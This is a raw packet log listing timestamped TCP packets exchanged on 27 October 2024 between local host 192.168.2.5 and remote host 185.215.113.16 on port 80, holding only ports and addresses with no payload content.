Oct 27, 2024 20:15:33.020144939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020148039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.020176888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.027400017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.027415037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.027430058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.027456999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.027868032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.027915001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028074980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028088093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028122902 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028151989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028166056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028188944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028198004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028203964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028218985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028238058 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028245926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028260946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028276920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028280020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028291941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028315067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028316021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028347969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028371096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028415918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028430939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028450966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028486967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028503895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028522968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028531075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028547049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028563023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028574944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028589964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028613091 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028827906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028842926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028858900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.028862000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.028897047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.029006004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029021025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029037952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029055119 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.029074907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029092073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029108047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.029109955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.029139996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.067361116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067394972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067426920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067452908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067456961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.067467928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067485094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067490101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.067502022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067517042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.067519903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.067549944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083551884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083569050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083585024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083599091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083604097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083642006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083714008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083729029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083743095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083770037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083817005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083831072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083853006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083955050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.083992004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.083992958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084009886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084039927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084187984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084203005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084225893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084237099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084240913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084256887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084279060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084283113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084314108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084347963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084362984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084379911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084397078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084692955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084714890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084732056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084743977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084749937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084758997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084779978 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084780931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084795952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084800005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084819078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084830046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084835052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084851027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084872007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084954977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084981918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.084990025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.084996939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.085028887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111078978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111103058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111123085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111181974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111196995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111212969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111226082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111247063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111248970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111248970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111248970 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111260891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111298084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111421108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111469030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111473083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111489058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111504078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111536026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.111536026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111577034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.111593962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.133116007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.133132935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.133148909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.133172989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.133214951 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.135783911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135809898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135826111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135839939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135855913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135867119 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.135871887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135894060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.135915995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135919094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.135931969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135947943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135962963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135970116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.135981083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.135996103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136008024 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136010885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136024952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136029959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136042118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136061907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136070013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136085033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136100054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136106968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136125088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136135101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136141062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136156082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136172056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136183977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136198997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136198997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136214972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136219025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136229992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136239052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136245966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136260986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136267900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136276960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136300087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136579990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136600018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136626959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136746883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136770010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136785984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136794090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136801004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136816978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136821985 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136831999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136847973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136862993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136869907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136878967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136893988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136895895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136909962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136915922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136924982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136940002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136955023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136970043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.136975050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.136996984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.137015104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.144364119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.144378901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.144406080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.144418955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.144426107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.144464016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145112991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145292044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145304918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145330906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145353079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145368099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145382881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145392895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145396948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145416021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145425081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145438910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145466089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145478010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145490885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145505905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145505905 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145520926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145534039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145544052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145556927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145565033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145572901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145587921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145602942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145617962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145618916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145634890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145637989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145651102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145665884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145668983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145683050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145698071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145706892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145711899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145728111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145735979 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145740032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145755053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145771980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145776987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145797968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145859003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145872116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145885944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145896912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145916939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.145926952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145941973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145956039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.145987034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.184320927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184348106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184376955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184379101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.184395075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184411049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184428930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184444904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184457064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.184457064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.184462070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184478998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.184497118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.184523106 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.200614929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200675011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200710058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200735092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.200764894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200802088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200825930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.200835943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200871944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200880051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.200908899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.200953007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.200992107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201024055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201066971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201076984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201111078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201153040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201165915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201216936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201252937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201260090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201283932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201325893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201349020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201400042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201432943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201446056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201466084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201499939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201513052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201528072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201560974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201581001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201598883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201632023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201641083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201668024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201697111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201729059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201817036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201852083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201865911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201903105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201936960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.201951027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.201975107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202011108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202018023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.202045918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202080011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202089071 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.202112913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202147961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202178001 CET	49719	80	192.168.2.5	185.215.113.16
